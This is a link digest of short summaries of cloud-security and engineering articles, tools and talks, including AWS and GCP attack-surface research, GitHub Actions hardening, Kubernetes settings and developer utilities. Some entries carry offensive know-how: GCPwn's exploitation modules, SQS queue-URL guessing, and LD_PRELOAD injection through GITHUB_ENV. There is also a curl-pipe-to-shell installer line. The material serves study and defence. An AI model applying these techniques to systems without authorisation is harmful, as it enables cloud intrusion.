    • Problem: Teams lose 20-30% of time coordinating across teams, per the authors’ experience, causing slow delivery and repeated refactoring.
    • Meetings: Keep ADR reviews to 30-45 minutes, readout style: 10-15 minutes silent reading with written comments.
    • Participants: Cross-functional but lean; keep attendees under 10 even on large projects.
    • Scope: One decision per ADR; explore alternatives in a separate design document referenced from the ADR.
    • Feedback: Resolve every comment by editing or reaching consensus; the author owns the document.
    • Timeliness: Expect 1-3 readouts; if more, narrow scope or cut invitees; most decisions are reversible “two-way doors”.
    • Lifecycle: Treat accepted ADRs as “team law”; when superseded, link the new ADR from the old one; store centrally.
    • Adoption: Pilot with one team, use clear templates, track time to decision, rework reduction and team satisfaction.
    • Caveats: Experience-based, no controlled data; irreversible decisions may need more deliberation than suggested.

    Takeaway: Adopt a single-decision ADR template with timeboxed silent-read reviews under 10 people, and keep superseded ADRs linked in one shared repo.

  • Patterns and Techniques for Writing High-Performance Applications with Go
    summary

    TL;DR: The Go Optimization Guide is a free, benchmark-driven series on making production Go services faster, covering memory, concurrency, networking and per-version runtime performance.

    • Approach: Emphasizes measured results over folklore and explains what the runtime does and where costs come from.
    • Memory patterns: Object pooling, preallocation, struct field alignment, avoiding interface boxing, zero-copy, GC behavior, escape analysis and stack allocation.
    • Concurrency patterns: Worker pools, atomics and sync primitives, lazy initialization, immutable data sharing and context management.
    • Nuance: Recommends sync.Pool only “where it actually helps, not everywhere”.
    • Networking: net/http, net.Conn, UDP, 10K+ concurrent connections, GOMAXPROCS with epoll/kqueue tuning, TCP vs HTTP/2 vs gRPC, QUIC with quic-go.
    • Operations: Profiling with pprof, load testing, socket options, DNS and TLS tuning, leak prevention in long-lived connections.
    • Version tracking: 76 benchmarks across Go 1.24-1.27 with an interactive tool comparing deltas by category.
    • Benchmark setup: Linux amd64 (Ice Lake), Linux arm64 (Graviton3) and macOS arm64 on dedicated EC2 with variance retry logic.
    • Source: Personal project in astavonin/go-optimization-guide, built with Material for MkDocs.

    Takeaway: Profile with pprof first, then consult the matching pattern and the version-tracking benchmarks before tuning Go services or upgrading Go versions.

  • awesome-mcp-servers: A Collection of MCP Servers
    summary

    TL;DR: punkpeye/awesome-mcp-servers is a large curated GitHub list of production and experimental Model Context Protocol servers, organized by category and synced with Glama’s web directory.

    • Purpose: Catalogs MCP servers that give AI tools file access, database connections, API integrations and other context.
    • Scale: About 96.8k stars, 18.3k forks and 13,953 commits at capture; README text exceeds 1.5 million characters.
    • Legend: Icons mark official implementations, language (Python, TypeScript, Go, Rust, C#, Java, C/C++, Ruby), scope and OS.
    • Scope icons: Cloud means the server calls remote APIs; local means it talks to software on your machine; embedded is also flagged.
    • Categories: 50+ sections, including Aggregators, Browser Automation, Cloud Platforms, Databases, Developer Tools, Monitoring, Security and Version Control.
    • Examples: 1mcp/agent merges multiple servers into one; ahujasid/blender-mcp connects assistants to Blender.
    • Related lists: awesome-mcp-clients, awesome-remote-mcp-servers, the glama.ai directory, a Discord and r/mcp.
    • Extras: Translated READMEs in several languages, CONTRIBUTING.md, MIT license; sponsored links appear on the page.
    • Caveat: Inclusion is a listing, not a security review; quality and maintenance vary between servers.

    Takeaway: Use it for discovery, prefer official implementations, and vet any server’s code, permissions and credential handling before connecting it to an agent.

  • awscurl: curl-Like Access to AWS Resources with SigV4 Request Signing
    summary

    TL;DR: awscurl is a curl-like CLI that signs HTTP requests with AWS Signature Version 4, letting you call AWS APIs and IAM-protected endpoints without writing signing code.

    • Problem: Raw curl cannot call SigV4-protected AWS endpoints such as API Gateway with IAM auth, S3 or EC2 query APIs.
    • Install: pip install awscurl, brew install awscurl, or Docker images okigan/awscurl and ghcr.io/okigan/awscurl.
    • Usage: awscurl --service execute-api -X POST -d @request.json https://<prefix>.execute-api.us-east-1.amazonaws.com/<resource>.
    • Credentials: Flags override env vars (AWS_ACCESS_KEY_ID, AWS_SESSION_TOKEN), which override ~/.aws/credentials with --profile or AWS_PROFILE.
    • Defaults: --service defaults to execute-api and --region to us-east-1; set both for other services or regions.
    • Curl-like flags: -X, -d, --data-binary, -H, -i, -v, -k, -L, -o and --fail-with-body.
    • Docker: Mount ~/.aws into /root/.aws or pass keys; the README offers a shell alias wrapping this.
    • Alternatives: Go ports (allthings/awscurl, legal90/awscurl) and signing proxies like awslabs aws-sigv4-proxy.
    • Caveat: Forgetting --service signs for the wrong service; passing secrets as flags can leak them into shell history.

    Takeaway: Keep awscurl in your toolbox for testing IAM-authorized API Gateway, OpenSearch or raw AWS APIs, using profiles rather than key flags.

  • github-mcp-server: GitHub’s Official MCP Server
    summary

    TL;DR: GitHub’s official MCP server lets AI agents read code, manage issues and PRs, monitor Actions and query security data, with configurable toolsets and a read-only mode.

    • Remote option: Hosted at https://api.githubcopilot.com/mcp/ for hosts supporting remote MCP, such as VS Code 1.101+, Claude Desktop, Cursor and Windsurf.
    • Local option: Docker image ghcr.io/github/github-mcp-server or a Go binary run with the stdio subcommand.
    • Auth: OAuth browser login (token kept in memory, Docker callback on 127.0.0.1:8085) or GITHUB_PERSONAL_ACCESS_TOKEN, which takes precedence.
    • Default toolsets: context, repos, issues, pull_requests, users; select others via --toolsets or GITHUB_TOOLSETS.
    • Other toolsets: actions, code_security, dependabot, secret_protection, orgs, projects, gists and more; all enables everything.
    • Least privilege: --read-only skips write tools even if named in --tools; README suggests minimal PAT scopes like repo, read:packages, read:org.
    • Enterprise: --gh-host or GITHUB_HOST for GHES and ghe.com; HTTPS required; the remote server does not support GHES.
    • Caveats: Invalid names in --tools stop startup; some hosts like Windsurf need hardcoded tokens in config files.
    • Go module: The v2.0.0 tag is unusable as a module; use a pseudo-version until a fixed release.

    Takeaway: Run it with --read-only, a narrow toolset list and a minimally scoped token, and avoid hosts that force plaintext tokens in config.

  • What Do Hackers Know About Your AWS Account?
    summary

    TL;DR: Plerion argues exposed AWS resources are only exploitable if attackers know their identifiers, and launches Awseye, a free OSINT service mapping publicly discoverable AWS account IDs and resources.

    • Thesis: AWS is API-driven, so attacks need account IDs, ARNs, hostnames or names; attackers collect these while defenders mostly do not.
    • CDK example: Asset buckets follow cdk-{qualifier}-assets-{account_id}-{region} with default qualifier hnb659fds, so knowing account IDs enables takeover research.
    • SQS example: Guessing queue URLs from account IDs plus wordlists across billions of candidates found 209 readable and writable queues.
    • Other examples: ECR policies allowing any AWS account to push or pull, and CloudFront distributions pointing to deleted S3 buckets.
    • Awseye: Enter an account ID to see up to 100 discovered resources, activity status and public exposure; opt-in alerts via a temporary deny-all role.
    • Discovery techniques: Scraping GitHub, NuGet and Pastebin; listing public resources like shared EBS snapshots; guessing names; S3 HTTP HEAD checks.
    • Hostnames tracked: amazonaws.com, on.aws, cloudfront.net, awsapps.com, elasticbeanstalk.com, awsapprunner.com, amplifyapp.com.
    • Rationale: Cites Orca’s 2023 honeypot report of leaked keys used within minutes; defenders rarely build such datasets themselves.
    • Caveats: Vendor content; dataset admitted incomplete, mentions include false positives, and no accuracy metrics are given.

    Takeaway: Look up your account IDs in Awseye, change predictable defaults like the CDK qualifier, and fix resource policies or dangling DNS that only obscurity protects.

  • How to use AWS Resource Control Policies
    summary

    TL;DR: Wiz explains AWS Resource Control Policies (RCPs), the org-wide resource-side counterpart to SCPs that also constrains principals outside your Organization, with example perimeter policies and rollout caveats.

    • What RCPs are: AWS Organizations policies that grant nothing and cap who can access resources, overriding even a bucket policy that makes data public.
    • Supported services: Five at writing: S3, STS, SQS, Secrets Manager and KMS.
    • vs SCPs: SCPs only bind principals in your Organization, so an attacker granting an external account via resource policy bypasses them; RCPs do not.
    • Identity perimeter: Deny sts:AssumeRole unless aws:PrincipalOrgID or a listed aws:PrincipalAccount matches, exempting aws:PrincipalIsAWSService.
    • GitHub OIDC fix: Deny sts:AssumeRoleWithWebIdentity when token.actions.githubusercontent.com:sub is null or not repo:<org>/*, closing wildcard trust policies.
    • Other uses: Enforce TLS 1.2+ on all S3 access once, block external sharing, and deny actions like s3:DeleteObject even to compromised admins.
    • Caveats: No dry-run or audit mode; denials return a generic AccessDenied; RCPs do not follow accounts moved to another OU or Organization.
    • Visibility gaps: Access Analyzer shows who has external access but not how; CloudTrail data events are off by default.
    • Rollout: Review logs first, test in a sandbox, promote dev to staging to production in groups, and review logs after.

    Takeaway: Deploy an RCP blocking AssumeRoleWithWebIdentity from GitHub repos outside your org, after checking Access Analyzer and CloudTrail for legitimate external access.

  • Kube-Policies: Guardrails for Apps Running in Kubernetes
    summary

    TL;DR: Square describes Kube-Policies, its in-house OPA-based Kubernetes admission layer that replaced Pod Security Policies with staged, guardrail-style validating and mutating policies.

    • Problem: Kubernetes defaults favor speed over security, and PSPs and Pod Security Admission did not fit Square’s varied platforms.
    • Alternatives rejected: K-Rail, Gatekeeper and Kyverno each missed some of seven requirements, including dry runs, exceptions and observability.
    • How it works: OPA in server mode evaluates Rego policies behind Kubernetes validating and mutating admission webhooks.
    • Staged modes: Validating policies go monitor, warn (HTTP Warnings header), deny; mutating policies go dry run, then patch.
    • Example policies: Deny privilege escalation, hostIPC and hostNetwork; mutate to readOnlyRootFilesystem, drop capabilities and runAsNonRoot.
    • Testing: Rego unit tests, e2e tests on ephemeral kind clusters checking audit logs, plus opa check --strict, regal and CodeQL.
    • Observability: OPA Prometheus metrics, audit-log annotations and apiserver_admission_webhook_rejection_count; denial spikes flag attacks or bugs.
    • Safety nets: Critical allowlist for aws-node and kube-proxy, a breakglass bypass, and an explicit fail-open vs fail-closed choice.
    • Limits: Policies are baked into the image, so changes need staged rollouts; exceptions need a ticket, PR and two-team approval.

    Takeaway: Roll out admission policies as monitor, warn, then deny, prefer safe mutations, and build breakglass plus system-component allowlists before enforcing.

  • How to Harden GitHub Actions: The Unofficial Guide
    summary

    TL;DR: Wiz’s updated GitHub Actions hardening cheat sheet, revised after tj-actions (2025) and the 2026 trivy-action and Axios attacks, covering settings, workflow pitfalls, secrets and runners.

    • Incidents: tj-actions cascaded from a vulnerable workflow to leaked PATs to poisoned actions; attackers force-pushed 75 of 76 trivy-action tags.
    • Axios: Malicious 1.14.1 and 0.30.4 were live about three hours, via an inserted plain-crypto-js dependency.
    • Pwn requests: pull_request_target and workflow_run run with secrets; checking out fork code is dangerous even after GitHub’s December 2025 change.
    • Injection: Interpolating issue titles, branch names or labels into run: enables command injection; writes to GITHUB_ENV or GITHUB_PATH can inject LD_PRELOAD.
    • Credentials: actions/checkout persists tokens in .git/config that can leak via artifacts; set persist-credentials: false.
    • Third-party actions: Only SHA pinning guarantees the same code; transitive weakly pinned actions still expose you; use SHA-pin enforcement.
    • Cooldowns: Wait 7-14 days before adopting new versions, estimated to catch 80-90% of supply chain attacks; pinact --min-age 7 or Renovate minimumReleaseAge.
    • Settings: Read-only default GITHUB_TOKEN, permissions: {} per workflow, no Actions PR approval, avoid toJson(secrets) and secrets: inherit.
    • Runners: Use ephemeral runners grouped by trust, default-deny egress, never self-hosted on public repos; prefer OIDC and GitHub Apps.

    Takeaway: Run zizmor in CI, SHA-pin actions with a 7-day cooldown, set permissions: {}, and audit every pull_request_target workflow now.

05.10.2024

  • Trail of Bits Testing Handbook
    summary

    TL;DR: The Testing Handbook is a free, CC BY 4.0 guide from Trail of Bits on configuring, optimizing and automating static and dynamic analysis tools, including in CI/CD.

    • Static analysis: Chapters on CodeQL and Semgrep; Trail of Bits also publishes its own Semgrep rules and CodeQL queries for C, C++ and Go.
    • Fuzzing: libFuzzer, AFL++, LibAFL for C/C++, cargo-fuzz for Rust, plus Python and Ruby; covers harness writing, coverage analysis, AddressSanitizer, OSS-Fuzz and snapshot fuzzing.
    • Web: A Burp Suite Professional section with a step-by-step guide and tips on telling bugs from features.
    • Crypto: Wycheproof, constant-time testing (dudect, Timecop) and zero-knowledge protocols.
    • Languages: A C/C++ security checklist (multiple OSes, seccomp/BPF) and a Rust section covering memory zeroization, model checking and supply chain analysis.
    • Roadmap: kAFL and formal verification with Tamarin are listed as upcoming.

    Takeaway: A practical starting point when you need to wire Semgrep, CodeQL or a fuzzer into a pipeline without reading every tool’s docs. Use the chapters as setup recipes.

  • GCPwn: Enumeration and Exploitation Framework for GCP
    summary

    TL;DR: GCPwn is a BSD-3 Google Cloud offensive security framework by Scott (@WebbinRoot) at NetSPI for credential management, enumeration, exploitation and attack-path graphing, with limited Google Workspace coverage.

    • Enumeration: Modules such as enum_gcp, enum_all, enum_iam, enum_cloudstorage, enum_google_workspace and enum_drive.
    • Exploitation: Service account token minting, signed JWTs, SA key creation, setIamPolicy abuse, Cloud Scheduler/Cloud Tasks abuse, Workload Identity Federation and OIDC token capture via API Gateway.
    • Unauthenticated: unauth_* modules, e.g. bucket brute-forcing and API key scope checks.
    • Permission discovery: Tracks call success/failure, runs explicit testIamPermissions checks and analyzes IAM bindings.
    • Graphing: Exports BloodHound OpenGraph JSON; process_og_attack_paths does text-based path finding.
    • Setup: pip install gcpwn, release binaries or Docker; data lands in a local SQLite DB with CSV/JSON/Excel export.
    • Limits: Workspace coverage is limited, Drive download is beta, some exploit modules are “coming soon”, and the author notes parts were written with LLM help and should be reviewed.

    Takeaway: A Pacu-style toolkit for GCP assessments. Use it on authorized projects to map what a compromised credential can reach, and review the code before operational use.

  • fwd:cloudsec North America 2024: Opening Session
    summary

    (Could not fetch full text.)

    TL;DR: The 10-minute opening session of fwd:cloudsec North America 2024, given by Aaron Zollman, a long-time organizer of the conference.

    • Event: fwd:cloudsec 2024 ran June 17-18, 2024 in Arlington, Virginia; the welcome was June 17 at 09:00 in Breakout 1.
    • Milestone: The schedule describes it as the fifth fwd:cloudsec and the first run fully independently of any other security conference.
    • Speaker: Zollman helped run the first fwd:cloudsec, has served in several conference roles (listed as Board President in 2023) and leads security and platform at a health-tech company.
    • Channel: Published on the official fwd:cloudsec YouTube channel, which hosts the rest of the 2024 talks in the same playlist.
    • Source caveat: No transcript or description was available; this is based on YouTube oEmbed metadata, the pretalx schedule entry and Datadog’s conference recap.

    Takeaway: Context only. The value is the playlist it opens: the 2024 fwd:cloudsec talks on AWS, GCP and Kubernetes security.

  • The EKS Hacking Playbook: Lessons from 3 Years of Cloud Security Research
    summary

    (Could not fetch full text.)

    TL;DR: A fwd:cloudsec 2024 talk by Hillai Ben-Sasson and Nir Ohfeld that turns three years of cloud security research into a checklist of what they look for when attacking production Amazon EKS clusters.

    • Premise: EKS is both a Kubernetes cluster and an AWS service, so it inherits risks from both and adds some of its own.
    • Scope: Recurring misconfigurations seen in large organizations, from network configuration to RBAC.
    • Format: For each mistake: how an engineer makes it, how a researcher exploits it, and the real research engagement it came from.
    • Defense: Closes with hunting approaches plus remediation and detection built on existing AWS tooling.
    • Date: Presented June 17, 2024, Breakout 1.
    • Source caveat: No transcript was available; this is based on the abstract (Thinkst Citation/pretalx listing) and YouTube oEmbed metadata. Specific techniques in the talk are not covered here.

    Takeaway: Worth watching if you run EKS: use it as an attacker-perspective review list for network exposure, RBAC and the AWS-IAM-to-Kubernetes boundary.

  • Get into AWS Security Research as a n00bcake
    summary

    (Could not fetch full text.)

    TL;DR: Daniel Grzelak (Plerion, previously Atlassian) at fwd:cloudsec 2024 on how newcomers can start doing their own AWS security research.

    • Message: Getting started in cloud security research does not need to be difficult.
    • Tip - docs: Read AWS documentation looking for security issues that are “as designed” behavior.
    • Tip - public code: Search public code for misconfigurations.
    • Tip - errors: Pay attention to error messages, which leak behavior worth exploring.
    • Style: Datadog’s recap calls it down-to-earth advice with a great sense of humor, drawn from his and others’ experience.
    • Source caveat: No transcript was available; this is based on Datadog Security Labs’ fwd:cloudsec 2024 recap, a Tracebit post and YouTube oEmbed metadata.

    Takeaway: A good on-ramp for anyone who wants to find novel AWS issues rather than repeat known ones. Pair it with Grzelak’s “15 ideas for cloud security research” list.

  • The Path to Zero-Touch Production
    summary

    (Could not fetch full text.)

    TL;DR: Rami McCarthy (formerly Figma infrastructure security) at fwd:cloudsec 2024 on a practical framework for moving a cloud-native company toward Google-style zero-touch production.

    • Goal: Reduce routine human access to production; changes go through automation, safe proxies or audited break-glass.
    • AWS access options: Which production-access mechanisms exist in AWS, when to use each, and how to use them safely.
    • Deep dives: Building just-in-time / temporary access and running operational scripts safely.
    • Maturity model: Slides describe stages from Initial through Foundational, Established and Advanced to Zero Touch Production.
    • Background: The concept traces to Google’s 2019 SREcon EMEA “Zero Touch Prod” talk.
    • Source caveat: No transcript was available; this is based on the pretalx abstract, the Speaker Deck slides listing and YouTube oEmbed metadata.

    Takeaway: Useful roadmap for cutting standing prod access in AWS. Start with JIT access and scripted operations before aiming for full zero-touch.

  • Taking a Look at Kubernetes Profiling
    summary

    TL;DR: Rory McCune looks at Go pprof profiling, which Kubernetes enables by default in several control-plane components, and whether exposing it is a real risk (his answer: it depends).

    • Scope: kube-apiserver, kube-scheduler, kube-controller-manager and kubelet expose profiling by default; kube-proxy does not.
    • Endpoints: /debug/pprof/profile returns profiling data; /debug/flags/v accepts PUT to change log verbosity at runtime.
    • Access control: Control-plane endpoints are gated by RBAC non-resource URL rules; kubelet access is gated by the node/proxy resource.
    • Commands: go tool pprof -http=:8080 http://localhost:8001/debug/pprof/profile and curl -X PUT http://127.0.0.1:8001/debug/flags/v -d "10" via kubectl proxy.
    • Risks: On managed clusters, raising API server log level plus log access could enable CVE-2020-8561 (webhook-based probing of the provider network); traces can also cost control-plane resources.
    • Fix: Set --profiling=false on apiserver, controller-manager and scheduler; set enableDebuggingHandlers off in kubelet config; restrict node/proxy.

    Takeaway: Low-severity but cheap to close. Disable profiling in production and audit who holds node/proxy and non-resource endpoint grants.

  • Stop Worrying About allowPrivilegeEscalation
    summary

    TL;DR: Christophe Tafani-Dereeper explains what the Kubernetes allowPrivilegeEscalation field actually does: it sets the Linux no_new_privs flag, a hardening option and nothing more.

    • Mechanism: false makes runc set no_new_privs (kernel 3.5+) on the container process, so setuid/setgid binaries no longer grant elevated rights. Default is true.
    • Demo: A setuid-root binary calling setreuid(0, 0) lets UID 1000 reach root when the field is true; with false the calls fail.
    • Does not stop: Container escape, cluster-level privilege escalation, or kernel exploits such as DirtyCow or CVE-2023-0386.
    • No effect: On workloads already running as root or with CAP_SYS_ADMIN.
    • Unrelated to privileged: The API server rejects allowPrivilegeEscalation: false combined with privileged: true.
    • Verdict: Leaving the default is one missing hardening layer, not a critical finding; the field’s name is misleading.

    Takeaway: Set it to false as cheap defense in depth, but do not rank scanner findings about it above running as non-root, dropping capabilities and avoiding privileged pods.

  • The CloudSec Engineer: A Career Book on Cloud Security Engineering
    summary

    TL;DR: The CloudSec Engineer is a career book by Marco Lancini (CloudSecList author) on entering and progressing in cloud security engineering.

    • Part I: Choosing infosec and cloud security as a career, and career levels.
    • Parts II-IV: Skills, learning tips and expectations for entering the field, establishing yourself as a senior engineer, and thriving toward Staff+.
    • Part V: Choosing companies, finding jobs, interview preparation and managing offers.
    • Bonus: Templates for side projects, a brag document, reverse interview questions and offer tracking.
    • Format: DRM-free PDF and EPUB, 250+ pages, 1,100+ links, lifetime updates; no print edition.
    • Price: $18 book only, $26 complete package (discount codes listed on the page).

    Takeaway: Aimed at people planning a cloud security career path or preparing for interviews; the free newsletter gives a taste of the author’s style.

  • tfprovidercheck: CLI to Prevent Malicious Terraform Providers from Being Executed
    summary

    TL;DR: tfprovidercheck by Shunsuke Suzuki is a CLI that fails when Terraform loads a provider not on your allow list, to stop malicious providers from executing in CI.

    • How it works: Reads terraform version -json after terraform init and compares loaded providers to the allow list.
    • Usage: terraform version -json | tfprovidercheck -c .tfprovidercheck.yaml, run before validate, plan and apply.
    • Config: YAML providers list with exact name (e.g. registry.terraform.io/hashicorp/aws) and optional version constraint such as ">= 3.0.0"; no glob or regex.
    • Config sources: -c flag, TFPROVIDERCHECK_CONFIG_BODY, TFPROVIDERCHECK_CONFIG, then .tfprovidercheck.yaml.
    • Tamper resistance: Recommends pull_request_target and passing config via TFPROVIDERCHECK_CONFIG_BODY in the workflow so a PR cannot edit the allow list.
    • Why not lock files: .terraform.lock.hcl gets new providers added by init, and required_providers is hard to govern across child modules and monorepos.

    Takeaway: Cheap supply-chain control for Terraform pipelines that run plans on untrusted PRs. Keep the allow list outside the PR’s control.

  • Single Sign-On or Single Point of Failure?
    summary

    TL;DR: A June 2024 Doyensec post by Anthony Trummer introducing research on what happens to infrastructure access when the SSO identity provider is compromised, using Teleport as the access platform.

    • Question: Does SSO put “all our eggs in one proverbial basket”? The research models IdP compromise impact on Teleport-protected infrastructure.
    • Range: Impact scales with privilege, from an unprivileged IdP account (“surprising impacts”) to a fully compromised IdP.
    • Detection: The whitepaper includes guidance on which logs to check for each attack type.
    • Hardening: Teleport hardening recommendations to limit damage in worst-case scenarios, plus a short checklist for teams.
    • Source caveat: The blog post is a summary; techniques, log indicators and specific recommendations are in the linked whitepaper and checklist, not in the post itself.

    Takeaway: Treat the IdP as tier-0. If you front infrastructure access with SSO, read the whitepaper and apply the checklist so one IdP account cannot become root everywhere.

  • Understanding the Risks of Long-Lived Kubernetes Service Account Tokens
    summary

    TL;DR: A GitGuardian article on why long-lived Kubernetes service account tokens stored as Secrets are risky and how to replace them with short-lived TokenRequest tokens.

    • Token types: Legacy SA tokens are Secrets that never expire; TokenRequest API tokens are projected into pods, time-bound and invalidated when the pod is deleted.
    • Leak paths: Shared volumes, unencrypted HTTP, commits to repos, verbose logging, insiders and RCE in the pod.
    • Abuse: Cryptomining, malicious workloads, RBAC changes for escalation, backdoor resources and data theft.
    • Mitigation: Set automountServiceAccountToken: false on the ServiceAccount or Pod when the API is not needed.
    • Policy: A Kyverno ClusterPolicy with a CEL expression rejecting Secrets of type kubernetes.io/service-account-token.
    • Trade-offs: Short-lived tokens need renewal logic, CI/CD changes, expiry error handling and add API calls.

    Takeaway: Disable token automount by default and block creation of legacy token Secrets cluster-wide; workloads that need API access should use projected tokens.

  • Wut.Dev AWS Organization Viewer
    summary

    TL;DR: Wut.Dev AWS Organization Viewer (beta, by Matthew Fuller’s wut.dev) is a browser app for browsing AWS resources and Organization structure in filterable, exportable tables.

    • Setup: Paste an Access Key, Secret Key and Session Token, or JSON from aws sts get-session-token --output json.
    • Client-side: The page states credentials are stored in browser local storage and “never sent to a server”; a Delete All Data button clears them.
    • Org mode: Uses the management account to assume roles into member accounts; a standalone single-account mode also exists.
    • Features: Table view with filter, sort and export; configurable service menu; optional LLM integration with your own endpoint and key.
    • Extras: Opt-in anonymous usage stats (off by default) and Pro license features.
    • Caveats: The page does not list required IAM permissions. The URL now redirects to app.wut.dev/org.

    Takeaway: Handy for a quick visual inventory of an AWS Organization. Use short-lived, read-only credentials since you are pasting them into a web page.

  • River: Fast and Reliable Postgres-Backed Background Jobs in Go
    summary

    TL;DR: River is an MPL-2.0 background job queue originally for Go, backed by Postgres (and now SQLite), built around enqueueing jobs in the same transaction as your application data.

    • Transactional enqueue: Jobs are guaranteed enqueued if the transaction commits and vanish on rollback; workers do not see them before commit.
    • Features: Batch insert via Postgres COPY FROM, multiple queues, periodic/cron and scheduled jobs, unique jobs (by args, period, queue, state), snooze and cancel from inside workers.
    • Reliability: Automatic retries, error and panic handling, transactional job completion.
    • Ops: Subscriptions for logging/metrics, test helpers and a web UI for jobs and queues.
    • Driver: The Go example uses riverpgxv5 with a pgx v5 pool.
    • Languages: The current README lists cross-compatible implementations for Go, JS/TS, Ruby and Rust, plus job insertion from Python.

    Takeaway: If you already run Postgres, River avoids a separate broker and the dual-write problem. Good fit for Go services that need reliable async work.

  • SmoothMQ: Self-Hostable Drop-In Replacement for SQS
    summary

    TL;DR: SmoothMQ is an AGPL-3.0, self-hostable drop-in replacement for AWS SQS shipped as a single Go binary.

    • Compatibility: Works with existing SQS clients by changing only the endpoint URL, e.g. http://localhost:3001; Celery works with an sqs://...@localhost:3001 broker URL.
    • Features: Web UI to manage queues and search individual messages, observability, tracing, message scheduling and rate-limiting.
    • Run: go run . server starts the UI on port 3000 and the SQS API on 3001.
    • Storage: The README does not name the backend; the repo has a queue/sqlite directory, suggesting SQLite.
    • Status: About 2.3k stars at fetch time; the README asks for feedback via a survey and does not state production readiness.

    Takeaway: Useful for local development against SQS or running SQS-style queues off AWS. Check maturity and AGPL obligations before production use.

  • doggo: Command-Line DNS Client for Humans
    summary

    TL;DR: doggo by Karan Sharma is a Go command-line DNS client “for humans”, inspired by Rust’s dog, with colored tabular output and modern encrypted DNS protocols.

    • Protocols: UDP, TCP, DNS over HTTPS (with HTTP/3 via --http3), DNS over TLS, DNS over QUIC and DNSCrypt.
    • Output: Human-readable tables or --json for scripting, e.g. doggo example.com --json | jq '.responses[0].answers[].address'.
    • Debugging: --trace follows the delegation chain; response times shown; EDNS options (ECS, NSID, cookies, padding, extended errors).
    • Examples: doggo MX github.com @9.9.9.9, doggo example.com @https://cloudflare-dns.com/dns-query, doggo --reverse 8.8.8.8 --short.
    • Extras: Globalping queries from other countries (--gp-from Germany,Japan), ndots/search support, IDN punycode, TOML config.
    • Install: Homebrew, many distro package managers, go install github.com/mr-karan/doggo/cmd/doggo@latest, or ghcr.io/mr-karan/doggo.

    Takeaway: A friendlier dig that also tests DoH/DoT/DoQ resolvers. Worth installing for DNS troubleshooting.

  • openstatus: Open-Source Synthetic Monitoring and Status Page Platform
    summary

    TL;DR: openstatus is an AGPL-3.0 open-source platform for synthetic uptime monitoring, status pages and incident response, available hosted or self-hosted.

    • Monitoring: Checks from 28 regions across 3 cloud providers, alerting via Slack, Discord, PagerDuty, email and others.
    • Status pages: Custom domains, password protection, maintenance windows, subscriber notifications by email, RSS and webhooks.
    • Incidents: Declare and resolve from dashboard or Slack, with severity, commander and timeline.
    • As code: Monitors, pages and notification channels defined in YAML or Terraform, applied via CLI or CI.
    • Stack: Next.js dashboard, Hono API, Go checker, Turso with Drizzle, Tinybird analytics.
    • Self-host: docker compose up -d (dashboard on 3002, status pages on 3003), Coolify or a Railway template.

    Takeaway: A self-hostable alternative to Statuspage plus Pingdom-style checks. The Terraform support makes it easy to keep monitors in the same repo as infra.

  • How I Built a Digital Forensics and Incident Response Lab in AWS
    summary

    (Could not fetch full text.)

    TL;DR: A Medium post by Adam Messer describing how he built a digital forensics and incident response (DFIR) practice lab on AWS.

    • Topic: Building a personal cybersecurity DFIR lab environment in AWS rather than on local hardware.
    • Author: Adam Messer, per the Medium URL.
    • Related pattern: AWS Prescriptive Guidance has an automated IR and forensics pattern using separate security and forensics accounts, Lambda, EBS snapshots and S3 for artifacts, with phases of containment, acquisition, examination and analysis; it is not confirmed that the post uses it.
    • Source caveat: Medium returned HTTP 403 and web search did not surface the article text; this summary is based only on the title and URL. No architecture, tools or cost figures from the post could be verified.

    Takeaway: Open the post directly for the build steps. For an AWS-native reference design, the AWS Prescriptive Guidance forensics pattern is a solid baseline.

  • dotenvx: Encrypted .env Files from the Creator of dotenv
    summary

    TL;DR: dotenvx, from the creator of dotenv, is a cross-language CLI and library that encrypts .env files so they can be committed to git and decrypted at runtime.

    • Encryption: secp256k1 public-key crypto; each value is encrypted with AES-256 under an ephemeral key (ECIES). DOTENV_PUBLIC_KEY lives in .env, DOTENV_PRIVATE_KEY in a secrets manager or .env.keys.
    • Commands: dotenvx encrypt, decrypt, run -- <cmd>, get, set KEY value, del, keypair.
    • Environments: -f .env.production with matching DOTENV_PRIVATE_KEY_PRODUCTION; multiple -f files, --overload, and --convention=nextjs.
    • Features: Variable expansion, defaults, command substitution, multiline values, op:// and bw:// references, --redact/--mask output.
    • Install: npm i -g @dotenvx/dotenvx, brew install dotenvx, curl -sfS https://dotenvx.sh | sh, winget or Docker.

    Takeaway: A low-friction upgrade from plaintext .env files. You still have to protect and distribute the private keys, which is the real secret now.

  • Bullfrog: GitHub Action to Block Unauthorized Egress in Workflows
    summary

    TL;DR: Bullfrog is a GitHub Action that audits or blocks outbound network traffic from workflow jobs, allowing only listed domains and IPs.

    • Placement: Must be the first step in every job; traffic before it runs is not seen.
    • Modes: egress-policy: audit (default) logs connections to help build an allow list; block enforces it. Results appear in the job summary.
    • Inputs: allowed-domains (wildcards match subdomains only), allowed-ips, dns-policy (allowed-domains-only default or any).
    • Root bypass: enable-sudo: false stops steps gaining root, since root (or Docker’s daemon) could bypass filtering.
    • Control plane: Optional api-token aggregates results across an org; a free tier is mentioned.
    • Limits: GitHub-hosted Ubuntu runners only (ubuntu-22.04, ubuntu-24.04, ARM variants, ubuntu-slim); container jobs unsupported.

    Takeaway: A simple defense against exfiltration from compromised actions or dependencies. Run audit mode first, then switch to block with sudo disabled.

  • BSidesSF 2024 Talks
    summary

    (Could not fetch full text.)

    TL;DR: The official YouTube playlist of recorded talks from BSidesSF 2024, published by the Security BSides San Francisco channel (@BSidesSF).

    • Event: BSidesSF 2024 took place in San Francisco on May 4-5, 2024, per the call for papers.
    • Content: Recordings of the conference talks, grouped in one playlist on the official channel.
    • Context: tl;dr sec issue 238 linked it alongside other BSidesSF 2024 highlights.
    • Source caveat: YouTube redirected to a consent page, so the video list could not be read; this is based on YouTube oEmbed metadata (title “BSidesSF 2024”, channel Security BSides San Francisco) and the BSidesSF 2024 CFP.

    Takeaway: Browse the playlist for talks relevant to your stack; BSidesSF skews toward practical AppSec, cloud and detection engineering content.

  • Security Engineering at Google: My Interview Study Notes
    summary

    TL;DR: Grace Nolan’s widely shared study notes for security engineering interviews (written for a Google role), covering both technical topics and how to prepare.

    • Networking and web: OSI, DNS, DHCP, ARP, TLS; same-origin policy, CORS, cookies, CSRF, XSS, SQLi, SSRF.
    • Systems: Hypervisors, containers, cloud lateral movement, side channels, privilege escalation, Windows and *nix internals.
    • Crypto and identity: Encoding vs hashing vs signing, key exchange, forward secrecy; certificates, OAuth, Kerberos, MFA/FIDO.
    • Defense: Threat modelling (STRIDE, DREAD), detection (IDS, SIEM, IOCs), forensics and incident management (PICERL, Google IMAG).
